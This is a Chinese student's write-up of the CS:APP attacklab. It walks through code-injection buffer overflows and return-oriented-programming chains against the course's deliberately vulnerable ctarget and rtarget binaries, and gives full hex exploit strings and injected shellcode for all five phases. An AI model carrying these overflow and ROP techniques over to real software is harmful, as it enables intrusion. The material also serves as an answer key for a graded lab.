attacklab复盘¶
2022/11/15 马上就要期中考试了,在准备期中考试之余,我将前些日子完成attacklab的经验写一下。
总体介绍¶
从整体上来看,attacklab的难度不如bomblab,但是技巧性更胜一筹。从细节上来看,attacklab使用的方法有两大类,code-injection(phase1-3)和return-oriented-programming(phase4-5)
最开始给了的文件 ctarget:一个容易遭受code-injection攻击的可执行程序。 rtarget:一个容易遭受return-oriented-programming攻击的可执行程序。 cookie.txt:一个8位的十六进制码,在后面解题会用到. farm.c:你的目标“gadget farm”的源代码,在产生return-oriented programming攻击时会用到。 hex2raw:一个生成攻击字符串的工具。后面用这个工具处理
objdump -d 反汇编代码
先反汇编得到汇编代码
objdump -d ctarget > ctarget.asm
objdump -d rtarget > rtarget.asm
使用hex2raw工具进行编译,Ctarget默认会连接CMU的服务器,加-q参数可以取消连接服务器。
测试的统一方法
./hex2raw < answer1.txt | ./ctarget -q
怎样得到机器码?
比如phase2
有了inject_phase2.s
gcc -c inject_phase2.s
objdump -d inject_phase2.o > inject_phase2.txt
code-injection¶
phase1¶
看一下官方的文档,这一关的目的是在通过getbuf函数进入touch1函数。这一关较为基础,比较适合作为一个热身。
gdb ctarget
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x0000000000001ebe <+0>: endbr64
0x0000000000001ec2 <+4>: sub $0x18,%rsp
0x0000000000001ec6 <+8>: mov %rsp,%rdi
0x0000000000001ec9 <+11>: callq 0x2183 <Gets>
0x0000000000001ece <+16>: mov $0x1,%eax
0x0000000000001ed3 <+21>: add $0x18,%rsp
0x0000000000001ed7 <+25>: retq
End of assembler dump.
如果缓冲区不溢出 我们在运行test函数后 就结束了 怎么可能能到touch1函数部分呢。当我们缓冲区溢出时 首先一个函数在调用另外一个函数时,我们首先需要
把我们的下一条指令位置在栈上保存下来,然后再为另外一个函数提供新空间,当另一个函数结束时rsp就能依然回到这个保存的位置处了 。
0x18 是十进制的 24
如果我们输入的数据超过24个字符,我们再输入的字符如果是touch1的第一条指令的地址,那么我们就会把之前函数保存的数据给覆盖了,进而跳转到了touch1,我们现在来看一下程序运行时的touch1的汇编代码
(gdb) disas touch1
Dump of assembler code for function touch1:
0x0000555555555ed8 <+0>: endbr64
0x0000555555555edc <+4>: push %rax
0x0000555555555edd <+5>: pop %rax
0x0000555555555ede <+6>: sub $0x8,%rsp
0x0000555555555ee2 <+10>: movl $0x1,0x54f0(%rip) # 0x55555555b3dc <vlevel>
0x0000555555555eec <+20>: lea 0x2413(%rip),%rdi # 0x555555558306
0x0000555555555ef3 <+27>: callq 0x5555555552a0 <puts@plt>
0x0000555555555ef8 <+32>: mov $0x1,%edi
0x0000555555555efd <+37>: callq 0x5555555563f6 <validate>
0x0000555555555f02 <+42>: mov $0x0,%edi
0x0000555555555f07 <+47>: callq 0x555555555400 <exit@plt>
End of assembler dump.
很轻易地能看到,touch1的第一条指令地址是
0x0000555555555ed8
注意使用地址时使用的是小端法,故答案为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d8 5e 55 55 55 55 00 00
phase2¶
这关需要传参之后执行touch2 传的参数就是cookie.txt中的字符串 执行后怎样跳到touch2?我们可以使用push touch2首地址,因为ret指令后,栈会被回收,就会跳转到touch2了。 根据官方文档,我们可以自己写汇编代码,然后将其转为机器码,然后将其放入缓冲区中注入。 不管是数据还是指令、存储地址,命令对于计算机来说都是二进制数字,只是相对于我们不同罢了 而对于计算机如何判断这些,应该是这些二进制数是如何排布的(我们的栈指针 指令 数据指针指向的是哪处)
那么我们能不能这样想,当我们存储字符时,我们能不能直接储存命令,含有以下的命令 1、我们把字符串cookie mov进rdi(第一个形参一般存在rdi中) 2、进入touch2函数
我们先把命令存储在一个我们24个字符区间中,然后我们再像上一步,返回地址设置为我们的储存命令区间,返回时,我们的处理器在处理机械码的时候就开始运行指令了
我的cookie.txt里面存的数据 0x26eee760
(gdb) disas touch2
Dump of assembler code for function touch2:
0x0000555555555f0c <+0>: endbr64
0x0000555555555f10 <+4>: push %rax
0x0000555555555f11 <+5>: pop %rax
................
touch2的地址0x0000555555555f0c
注入的汇编代码
movq $0x26eee760,%rdi
movq $0x0000555555555f0c,%rdx
pushq %rdx
retq
在这里我们不能直接pushq $0x0000555555555f0c.要先mov到寄存器中,再pushq到栈里
得到的机器码
inject_phase2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 60 e7 ee 26 mov $0x26eee760,%rdi
7: 48 ba 0c 5f 55 55 55 movabs $0x555555555f0c,%rdx
e: 55 00 00
11: 52 push %rdx
12: c3 retq
最后一步,在开了24个空间后栈指针的位置在哪?
gdb ctarget
b getbuf
run -q
(gdb) x $rsp
0x5566a130: 0x555560b9
在开栈之前栈rsp是0x5566a130
那么开栈之后便是 0x5566a130-0x18=0x5566a118
再补齐 就是
0x000000005566a118
答案
48 c7 c7 60 e7 ee 26
48 ba 0c 5f 55 55 55
55 00 00
52
c3
00 00 00 00 00
18 a1 66 55 00 00 00 00
phase3¶
phase3和phase2还是蛮相似的,但还是小有难度. 对于phase3这部分,我们其实主要目标就是把%rdi存放着Cookie的字符串指针,然后我们跳转到phase3就算成功。当然我们需要自己存放字符串,存放的位置我们过会再讲。
对于字符串原本的16进制字符串是0x26eee760 我们的char*指针只不过是存储字符串26eee760本来数字具象化变成了真正意义上的字符。则其对应的字符码为‘2’ = 0x32 ‘6’ = 0x36 ‘e' = 0x65 '7' = 0x37 '0' = 0x30 (这个过程参考官方文档) 相对应的ASCII字符码写为0x32 0x36 0x65 0x65 0x65 0x37 0x36 0x60
When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.
这段来自官方文档中的话描述了我们怎么打算储存cookie字符串。 意思是 我们最后在Test3中,会push数据进入堆栈,所以我们需要注意我们的cookie字符串的存放位置 那我们就可以不考虑放到那24个字符的堆栈里面, 那个24个字符我们用来存放命令,那我们的字符串可以考虑放到get的栈帧中,即是越过24个字符的上方,因为我们不再返回了,所以那部分就不会被触碰到。 这里的解决办法跟Phase 2差不多,只不过是多了个字符串存储,把具体位置放进%rdi而已,那我们先编写汇编函数,对于我们栈顶的8字节 是retq返回地址,那我们的指针地址则是栈顶+8字节,字符串也是放在那里的,就是0x5566a130+0x8=0x5566a138
(gdb) disas touch3
Dump of assembler code for function touch3:
0x0000555555556031 <+0>: endbr64
0x0000555555556035 <+4>: push %rbx
.................
我们可以得到touch3的地址
0x0000555555556031
要注入的代码
movq $0x5566a138,%rdi
movq $0x0000555555556031,%rdx
pushq %rdx
ret
另一种形式注入的代码
lea 0x8(%rsp),%rdi
movq $0x0000555555556031,%rdx
pushq %rdx
ret
机器码
inject_phase3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 38 a1 66 55 mov $0x5566a138,%rdi
7: 48 ba 31 60 55 55 55 movabs $0x555555556031,%rdx
e: 55 00 00
11: 52 push %rdx
12: c3 retq
答案
48 c7 c7 38 a1 66 55 48
ba 31 60 55 55 55 55 00
00 52 c3 00 00 00 00 00
18 a1 66 55 00 00 00 00
32 36 65 65 65 37 36 30 00
要记得字符串末尾的00
return-oriented-programming¶
这一部分Part和上面的区别吧。这里用了栈随机性和禁止栈中使用命令。栈随机性就导致我们栈的位置不再固定,也导致我们不能像上面一样,运行命令直接用栈中的确切位置就返回了。禁止栈中使用命令,意思是如果我们的命令是在栈中的 即rip指向栈则会报错(段错误) 而在这个part,farm.c中提供了许许多多的小工具,比如
原函数
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
反汇编得到结果
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
关注上面的机器码单独截出来 48 89 c7 可翻译为movq %rax, %rdi. c3 可翻译为retq 我们函数可以通过跳转到指定地址(0x400f18) 完成movq %rax,%rdi retq的指令 通过类似的小指令 不断地跳转 我们就可以完成我们最后的目标
phase4¶
这部分的话 我们要完成的部分还是touch2 只不过是rtarget部分 官方的advices
• All the gadgets you need can be found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm. 所有你需要的小工具都可以在代码区域找到由start_farm和mid_farm的功能划定。
• You can do this attack with just two gadgets. 只需两个小工具即可进行此攻击。
• When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data. 当小工具使用 popq 指令时,它会从堆栈中弹出数据。因此,您的漏洞利用字符串将包含小工具地址和数据的组合。 好了 这部分就开始讲实现思路了 我们首先需要popq rdi 把%rdi中存放着cookie 然后我们再利用retq返回到touch2即完成任务 但是没有那么直接 因为我们先去看看我们的工具部分机器码能不能提供我们相应功能 如果没有的话 我们就需要转折一下 曲线达成目的
尝试表达的汇编指令
popq %rax
movq %rax,%rdi
以下在rtarget的汇编代码中寻找工具 popq %rax的指令字节为:58,所以我们找到了如下函数:
0000000000002109 <addval_276>:
2109: f3 0f 1e fa endbr64
210d: 8d 87 96 58 90 90 lea -0x6f6fa76a(%rdi),%eax
2113: c3 retq
然后在程序运行时去看
movq %rax, %rdi的指令字节为:48 89 c7 c3,所以我们找到了如下函数:
00000000000020f4 <setval_124>:
20f4: f3 0f 1e fa endbr64
20f8: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
20fe: c3 retq
在程序运行时进行disas,看到 48 89 c7 c3 的地址(48的地址)是0x00005555555560fa
cookie的值 0x26eee760
touch2的地址 0x0000555555555f0c
故答案为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
10 61 55 55 55 55 00 00
60 e7 ee 26 00 00 00 00
fa 60 55 55 55 55 00 00
0c 5f 55 55 55 55 00 00
phase5¶
思路和phase4差不多 尝试表达的汇编代码
movq %rsp,%rax
add $0x37, %al
mov %rax,%rdi
分别去查找,发现了
0000000000002253 <setval_316>:
2253: f3 0f 1e fa endbr64
2257: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
225d: c3 retq
000000000000213d <add_xy>:
213d: f3 0f 1e fa endbr64
2141: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
2145: c3 retq
00000000000020e0 <getval_384>:
20e0: f3 0f 1e fa endbr64
20e4: b8 48 89 c7 c3 mov $0xc3c78948,%eax
20e9: c3 retq
想要表达的三段汇编代码的地址是 0x0000555555556259 0x0000555555556143 0x00005555555560e5 touch3的地址 0x0000555555556031

答案
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
59 62 55 55 55 55 00 00
43 61 55 55 55 55 00 00
e5 60 55 55 55 55 00 00
31 60 55 55 55 55 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 32
36 65 65 65 37 36 30 00
问题汇总¶
permisson denied¶
(gdb) run
Starting program: /ecnudata/s10211900416/attback/ctarget
/bin/bash: /ecnudata/s10211900416/attback/ctarget: Permission denied
/bin/bash: line 0: exec: /ecnudata/s10211900416/attback/ctarget: cannot execute: Permission denied
During startup program exited with code 126.
chmod +777 ctarget
chmod +777 rtarget
"Initialization error: Running on an illegal host [2]"¶
参考 简而言之,就是用run -q而不是run
Your bomb appears to be tamper-resistant and intentionally refuses to run on your machine. (Or possibly the program detected it was running under a debugger, and used that message even if on the University host?) That message was printed by the bomb program itself, not GDB.
You could set a breakpoint in its main or something to work around the hostname check (or whatever it's actually checking; use strace to find out). Or perhaps your instructor wants you to defuse it only from static analysis of the disassembly, not from single-stepping it in the debugger.
However, I googled on that string and found https://github.com/heapsters/manual which mentions:
Include the -q flag which prevents program from contacting non-existent grading server in addition to the above error.
So its worth trying run -q, in case your bomb supports that command-line option. If so, you're probably intended to be able to use the debugger while figuring out the phases, just not to skip the phases entirely and get to the part of the program that submits that you've disarmed it.